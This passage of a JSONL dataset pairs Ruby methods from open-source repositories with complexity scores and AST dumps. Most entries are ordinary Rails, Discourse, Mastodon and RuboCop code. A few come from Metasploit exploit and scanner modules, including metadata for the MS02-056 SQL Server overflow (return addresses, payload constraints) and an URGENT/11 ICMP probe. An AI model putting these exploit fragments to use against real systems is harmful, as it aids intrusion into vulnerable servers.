end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"restarg\",\"children\":[\"params\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@events_trigger\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"!=\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@events_trigger\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]},null]}]}]}","id":"003b4423-3348-4f26-83b4-ab3b6dfecd31"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/glassfish_deployer.rb","start_line":123,"raw_source":"def detect_platform(body)\n    body.each_line do |ln|\n      ln.chomp!\n      case ln\n      when /os\\.name = (.*)/\n        os = $1\n        case os\n        when /Windows/\n          return 'win'\n        when /Linux/\n          return 'linux'\n        when /Mac OS X/\n          return 'osx'\n        end\n      end\n    end\n\n    return 'java'\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"detect_platform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ln\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ln\"]},\"chomp!\"]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ln\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"os\\\\.name = (.*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Mac OS X\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]},null]}]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"java\"]}]}]}]}","id":"84cd06c8-d6d0-4486-8664-ce6c9d9148f6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/update_all_test.rb","start_line":56,"raw_source":"def test_update_all_with_group_by\n    minimum_comments_count = 2\n\n    Post.most_commented(minimum_comments_count).update_all(title: \"ig\")\n    posts = Post.most_commented(minimum_comments_count).all.to_a\n\n    assert_operator posts.length, :>, 0\n    assert posts.all? { |post| post.comments.length >= minimum_comments_count }\n    assert posts.all? { |post| \"ig\" == post.title }\n\n    post = Post.joins(:comments).group(\"posts.id\").having(\"count(comments.id) < #{minimum_comments_count}\").first\n    assert_not_equal \"ig\", post.title\n  end","complexity_score":32.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_all_with_group_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"minimum_comments_count\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"most_commented\",{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"ig\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"most_commented\",{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]},\"all\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"length\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"comments\"]},\"length\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"ig\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"title\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"comments\"]}]},\"group\",{\"type\":\"str\",\"children\":[\"posts.id\"]}]},\"having\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"count(comments.id) < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"str\",\"children\":[\"ig\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"title\"]}]}]}]}","id":"4368a90f-0406-4ad6-947e-5aa9f488219c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/min_username_length_validator.rb","start_line":27,"raw_source":"def error_message\n    if @min_range_violation\n      I18n.t(\n        \"site_settings.errors.invalid_integer_min_max\",\n        min: MIN_USERNAME_LENGTH_RANGE.begin,\n        max: MIN_USERNAME_LENGTH_RANGE.end,\n      )\n    elsif @max_value_violation\n      I18n.t(\"site_settings.errors.min_username_length_range\")\n    elsif @username.present?\n      I18n.t(\"site_settings.errors.min_username_length_exists\", username: @username)\n    elsif @group_name.present?\n      I18n.t(\"site_settings.errors.min_group_name_length_exists\", group_name: @group_name)\n    end\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@min_range_violation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.invalid_integer_min_max\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIN_USERNAME_LENGTH_RANGE\"]},\"begin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIN_USERNAME_LENGTH_RANGE\"]},\"end\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_value_violation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.min_username_length_range\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@username\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.min_username_length_exists\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"ivar\",\"children\":[\"@username\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.min_group_name_length_exists\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]}]}]},null]}]}]}]}]}","id":"5f376d91-d50d-4e78-94cd-da0fe73b7d92"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":185,"raw_source":"def self.search_aliases_db_file\n    @search_aliases_db_file ||= DiscourseEmojis.paths[:search_aliases]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"search_aliases_db_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@search_aliases_db_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEmojis\"]},\"paths\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_aliases\"]}]}]}]}","id":"87f7e900-7d5b-4dbd-86f3-20e75d59b8e8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/generator/test_module.rb","start_line":213,"raw_source":"def test_raise_error_if_files_are_empty\n    @files = []\n\n    assert_raises ArgumentError do\n      subject\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raise_error_if_files_are_empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@files\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]}]}","id":"bc53753f-9e47-43b5-8fce-90077110f814"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20201209134953_touch_articles_with_capitalized_paths.rb","start_line":3,"raw_source":"def run\n      offending_articles = Article.where(\"path != lower(path)\")\n\n      # Some log visibility for troubleshooting/monitoring\n      Rails.logger.info(\"Updating #{offending_articles.count} articles with capitalized paths...\")\n\n      # touch won't trigger the callbacks so a manual update will do the trick\n      offending_articles.update(updated_at: Time.current)\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offending_articles\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"where\",{\"type\":\"str\",\"children\":[\"path != lower(path)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Updating \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offending_articles\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" articles with capitalized paths...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offending_articles\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}","id":"b5cd8882-f73e-41d6-934a-a8813770c663"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/validators/email_mx_validator.rb","start_line":36,"raw_source":"def on_allowlist?(domain)\n    return false if Rails.configuration.x.email_domains_allowlist.blank?\n\n    Rails.configuration.x.email_domains_allowlist.include?(domain)\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_allowlist?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"email_domains_allowlist\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"email_domains_allowlist\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}","id":"65e7ac0c-67c7-4d1e-a767-8be44fe4d98c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/pages/ai_usage.rb","start_line":50,"raw_source":"def wait_for_data_load\n        # Wait for loading spinner to disappear\n        expect(page).not_to have_css(\".conditional-loading-spinner .spinner\", wait: 10)\n      end","complexity_score":5.15,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_data_load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".conditional-loading-spinner .spinner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}","id":"b631dfbe-bf9a-4618-b560-d1769a8d100a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/vxworks/urgent11_check.rb","start_line":280,"raw_source":"def icmp_timestamp_detection(sock, ip, _port = nil)\n    pkt = PacketFu::ICMPPacket.new(config: @config)\n\n    # IP destination address\n    pkt.ip_daddr = ip\n\n    # Truncated ICMP timestamp request\n    pkt.icmp_type = 13\n    pkt.icmp_code = 0\n    pkt.payload = \"\\x00\" * 4\n    pkt.recalc\n\n    pkt.to_w\n    res = inject_reply(:icmp)\n\n    unless res\n      return @ipnet_score = 0\n    end\n\n    # Timestamp reply\n    if res.icmp_type == 14\n      return @ipnet_score = 90\n    end\n\n    @ipnet_score = -30\n  end","complexity_score":20.78,"ast_json":"{\"type\":\"def\",\"children\":[\"icmp_timestamp_detection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"optarg\",\"children\":[\"_port\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"ICMPPacket\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"ivar\",\"children\":[\"@config\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"ip_daddr=\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"icmp_type=\",{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"icmp_code=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"recalc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_w\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"inject_reply\",{\"type\":\"sym\",\"children\":[\"icmp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ipnet_score\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"icmp_type\"]},\"==\",{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ipnet_score\",{\"type\":\"int\",\"children\":[90]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@ipnet_score\",{\"type\":\"int\",\"children\":[-30]}]}]}]}","id":"c62b0736-2b50-464a-b4bf-dace935a9a2c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/resolver_shared_tests.rb","start_line":132,"raw_source":"def test_templates_with_optional_locale_shares_common_object\n    with_file \"test/hello_world.text.erb\", \"Generic plain text!\"\n    with_file \"test/hello_world.fr.text.erb\", \"Texte en Francais!\"\n\n    en = context.find_all(\"hello_world\", \"test\", false, [], locale: [:en])\n    fr = context.find_all(\"hello_world\", \"test\", false, [], locale: [:fr])\n\n    assert_equal 1, en.size\n    assert_equal 2, fr.size\n\n    assert_equal \"Generic plain text!\", en[0].source\n    assert_equal \"Texte en Francais!\",  fr[0].source\n    assert_equal \"Generic plain text!\", fr[1].source\n\n    assert_same en[0], fr[1]\n  end","complexity_score":28.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_templates_with_optional_locale_shares_common_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.text.erb\"]},{\"type\":\"str\",\"children\":[\"Generic plain text!\"]}]},{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.fr.text.erb\"]},{\"type\":\"str\",\"children\":[\"Texte en Francais!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"en\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"en\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"fr\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"en\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fr\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Generic plain text!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"en\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Texte en Francais!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fr\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Generic plain text!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"en\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"fa528fd7-509e-43bc-b0e1-b6d9d494fdc8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_capital_w.rb","start_line":38,"raw_source":"def requires_interpolation?(node)\n          node.child_nodes.any? do |string|\n            string.dstr_type? || double_quotes_required?(string.source)\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"requires_interpolation?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"child_nodes\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"dstr_type?\"]},{\"type\":\"send\",\"children\":[null,\"double_quotes_required?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"source\"]}]}]}]}]}","id":"c0e0bbbc-4561-477c-b5a8-02e6a1df0bce"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/codeset_util.rb","start_line":31,"raw_source":"def self.replace_invalid_utf8(str)\n      return str if str.nil?\n\n      str.force_encoding(\"UTF-8\")\n      if str.valid_encoding?\n        str\n      else\n        str.encode(\"US-ASCII\",\n                   invalid: :replace,\n                   undef: :replace,\n                   replace: \"?\")\n           .encode(\"UTF-8\")\n      end\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"replace_invalid_utf8\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"valid_encoding?\"]},{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"encode\",{\"type\":\"str\",\"children\":[\"US-ASCII\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"undef\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"str\",\"children\":[\"?\"]}]}]}]},\"encode\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]}]}","id":"43f9c62c-b235-40ee-839d-16f229833315"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/mssql/ms02_056_hello.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow',\n        'Description' => %q{\n          By sending malformed data to TCP port 1433, an\n          unauthenticated remote attacker could overflow a buffer and\n          possibly execute code on the server with SYSTEM level\n          privileges. This module should work against any vulnerable\n          SQL Server 2000 or MSDE install (< SP3).\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2002-1123'],\n          [ 'OSVDB', '10132'],\n          [ 'BID', '5411'],\n          [ 'MSB', 'MS02-056'],\n\n        ],\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 512,\n          'BadChars' => \"\\x00\",\n          'StackAdjustment' => -3500,\n        },\n        'Targets' => [\n          [\n            'MSSQL 2000 / MSDE <= SP2',\n            {\n              'Platform' => 'win',\n              'Rets' => [0x42b68aba, 0x42d01e50],\n            },\n          ],\n        ],\n        'Platform' => 'win',\n        'DisclosureDate' => '2002-08-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS02-056 Microsoft SQL Server Hello Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          By sending malformed data to TCP port 1433, an\\n\"]},{\"type\":\"str\",\"children\":[\"          unauthenticated remote attacker could overflow a buffer and\\n\"]},{\"type\":\"str\",\"children\":[\"          possibly execute code on the server with SYSTEM level\\n\"]},{\"type\":\"str\",\"children\":[\"          privileges. This module should work against any vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          SQL Server 2000 or MSDE install (< SP3).\\n\"]},{\"type\":\"str\",\"children\":[\"        